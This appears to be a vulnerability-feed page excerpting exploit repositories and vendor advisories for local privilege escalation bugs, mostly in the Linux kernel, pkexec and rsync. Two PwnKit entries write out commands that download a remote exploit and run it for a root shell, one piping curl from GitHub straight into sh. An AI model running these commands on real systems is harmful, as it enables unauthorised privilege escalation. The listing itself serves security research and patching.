PEASS-ng v20261002-82d9fad1

PEASS-ng - Privilege Escalation Awesome Scripts SUITE new generation Linux Privesc official course to master LinPEAS Checkhttps://hacktricks-training.com/courses/lhe/ to learn tens of linux privesc techniques and master LinPEAS Basic Tutorial Here you will find privilege escalation tools for...

tpwn

tpwn cve-2015-???? poc os x 10.10.5 커널 로컬 권한 상승 취약점은 10.11에서 패치됨 전체 라이트업 etason @ unthreadedjb에게 hax에 대한 감사 인사 NULLGuard를 설치하여 tpwn 및 기타 NULL 포인터 역참조 버그로부터 자신을 보호하세요...

GhostLock-OPPO-PCKM00

GhostLock — OPPO PCKM00 4.14.180 PoC CVE-2026-43499 GhostLock — Linux 커널 futex 우선순위 상속priority-inheritance use-after-free 로컬 권한 상승 PoC로, OPPO PCKM00 OP4A57, SM6150, Android 11, 커널 4.14.180-perf+용으로 포팅되었습니다. DISCLAIMER / 免责声明 이 프로젝트는 공인된 보안 연구 및 교육 목적으로만 사용하세요. 소유하지 않았거나 명시적으로 테스트 권한을 부여받지 않은 기기에서...

OVSwrap

OVSwrap CVE-2026-64531 Writeup !WARNING 이 PoC는 방어자, 유지보수자, 그리고 권한이 부여된 보안 팀이 자체 소유 또는 명시적으로 테스트 권한을 부여받은 시스템에서 패치, 완화 조치, 탐지 및 노출 범위를 검증하는 데만 도움이 되도록 제공됩니다. 이 자료의 사용이 합법적이고, 권한이 부여되었으며, 통제된 상태에서 격리된 테스트 환경에서 수행되도록 하는 책임은 전적으로 사용자에게 있습니다. !WARNING 이 PoC는 파괴적입니다. 성공 시 라이브 커널 자격 증명credential을 손상시키고,...

KERNELexploits

PwnKit Автономный эксплойт для CVE-2021-4034 - локальное повышение привилегий Pkexec Использование Должен работать из коробки на уязвимых дистрибутивах Linux на основе Ubuntu, Debian, Fedora и CentOS. sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh" Вручную curl...

copyfail

Copy Fail CVE-2026-31431 – 익스플로잇 사용 가이드 원본 Readme는 @painoob에서 가져옴 2017 / 2016 이후의 모든 커널 버전이 취약함 ! 커널 7은 완전히 면역, 그 외5-7 사이는 여전히 취약할 수 있음 ⚠️ 면책 조항 이 콘텐츠는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 명시적 허가 없이 시스템에서 실행하지 마십시오. 📌 개요 Copy Fail CVE-2026-31431 은 AFALG를 통해 커널 crypto API에 영향을 미치는 Linux 로컬 권한 상승LPE 취약점입니다...

PwnKit-CVE-2021-4034

PwnKit PwnKit / CVE-2021-4034의 PoC - Pkexec 로컬 권한 상승 익스플로잇 수동 실행 curl -fsSL https://raw.githubusercontent.com/jayhutajulu1/PwnKit-CVE-2021-4034/main/PwnKit -o PwnKit chmod +x ./PwnKit ./PwnKit interactive shell ./PwnKit 'id' single command 패치된 경우 패치된 버전에서 익스플로잇을 실행하면 다음과 같은 출력이 나타납니다. 빌드 gcc...

CVE-2023-21817

CVE-2023-21817 — средство проверки уязвимости Windows Kerberos LPE Минималистичный C++ Proof of Concept PoC / средство проверки уязвимости для CVE-2023-21817. Эта утилита помогает исследователям безопасности и системным администраторам определить, уязвима ли система Windows к ошибке локального...

CVE-2026-43499-poc

GhostLock — CVE-2026-43499 PoC Qualcomm 4.19 kernel Local privilege escalation exploiting CVE-2026-43499 — an rtmutex removewaiter bug that leaves a struct rtmutexwaiter dangling on the waiter's kernel stack kernel/locking/rtmutex.c, CWE-416 use-after-free. Adapted from NebuSec/CyberMeowfia...

Exploit for CVE-2026-64560

Redmi 14C “pond” – CVE-2026-64560 Migration Kit Global Rele...

libvirt: Integer overflow in NodeGetFreePages RPC handler leading to heap buffer overflow

A flaw was found in libvirt. An unprivileged local user could exploit an integer overflow vulnerability in the NodeGetFreePages RPC handler. This flaw allows crafted values to bypass a size check, leading to an undersized memory buffer. Subsequently, real NUMA node data can overwrite this buffer...

SUSE SLES16: glibc / glibc-devel / glibc-devel-static / glibc-extra / etc (SUSE-SU-2026:23934-1)

The remote SUSE Linux SLES16 / SLESSAP16 host has packages installed that are affected by multiple vulnerabilities as referenced in the SUSE-SU-2026:23934-1 advisory. - CVE-2026-6368: invalid free via wordexp WRDEAPPEND rollback bsc1274726. - CVE-2026-6791: stack overflow in wordexp tilde expansi...

PT-2026-104456

OpenLiteSpeed before 1.9.3 contains a local privilege escalation vulnerability in admin/misc/lsup.sh that runs unverified update packages from a nobody-writable directory as root. Attackers controlling the nobody web process can replace the package in /usr/local/lsws/autoupdate/ before extraction...

MiracleLinux 8 : rsync-3.1.3-28.el8_10 (AXSA:2026-1954:09)

The remote MiracleLinux 8 host has packages installed that are affected by multiple vulnerabilities as referenced in the AXSA:2026-1954:09 advisory. rsync: rsync 2.3.3 3.5.0 Path Traversal via --partial-dir/--backup-dir Symlink CVE-2026-70460 rsync: rsync: Arbitrary file deletion via malicious fi...

RLSA-2026:74095 Important: rsync security, bug fix, and enhancement update

The rsync utility enables the users to copy and synchronize files locally or across a network. Synchronization with rsync is fast because rsync only sends the differences in files over the network instead of sending whole files. The rsync utility is also used as a mirroring tool. Security Fixes:...

Security Bulletin: Due to Linux, IBM Cloud Pak System is affected by local privilege escalation vulnerability[ CVE-2026-31431]

Summary Vulnerability was found in Linux shipped with IBM Cloud Pak System OS Image for Red hat Linux Systems. Vulnerability was addressed in IBM Cloud Pak System version 2.3.6.2. Vulnerability Details CVEID:CVE-2026-31431 DESCRIPTION: In the Linux kernel, the following vulnerability has been...

CVE-2026-43284-DIRTY-FRAG-

CVE-2026-43284-DIRTY-FRAG- Подробный технический анализ уязвимости локального повышения привилегий CVE-2026-43284 Dirty Frag в ядре Linux. CVE-2026-43284 обычно упоминаемая как часть набора уязвимостей Dirty Frag — это критическая уязвимость локального повышения привилегий LPE в ядре Linux. Она...

Rocky Linux 9 [CIQ] Security Update: kernel-rt / kernel-rt-core / kernel-rt-debug / kernel-rt-debug-core / etc Multiple Vulnerabilities (crlsa-2022_7319)

The Rocky Linux 9 host has packages installed that are affected by multiple vulnerabilities as referenced in the CIQ crlsa-20227319 advisory. posix cpu timer use-after-free may lead to local privilege escalation CVE-2022-2585 Unprivileged users may use PTRACESEIZE to set PTRACEOSUSPENDSECCOMP...

Rocky Linux 8 [CIQ] Security Update: abrt / abrt-addon-ccpp / abrt-addon-ccpp-debuginfo / etc (crlsa-2025_22760)

The Rocky Linux 8 host has packages installed that are affected by a vulnerability as referenced in the CIQ crlsa-202522760 advisory. abrt: Command-injection in ABRT leading to local privilege escalation CVE-2025-12744 Tenable has extracted the preceding description block directly from the CIQ...

CentOS Linux 8.4 [TuxCare] Security Update: microcode_ctl Multiple Vulnerabilities (CENTOS8.4:CLSA-2026:1770214396)

The CentOS Linux 8.4 host has a package installed that is affected by multiple vulnerabilities as referenced in the TuxCare CENTOS8.4:CLSA-2026:1770214396 advisory. - Improper input validation in UEFI firmware for some IntelR Processors may allow a privileged user to potentially enable escalation...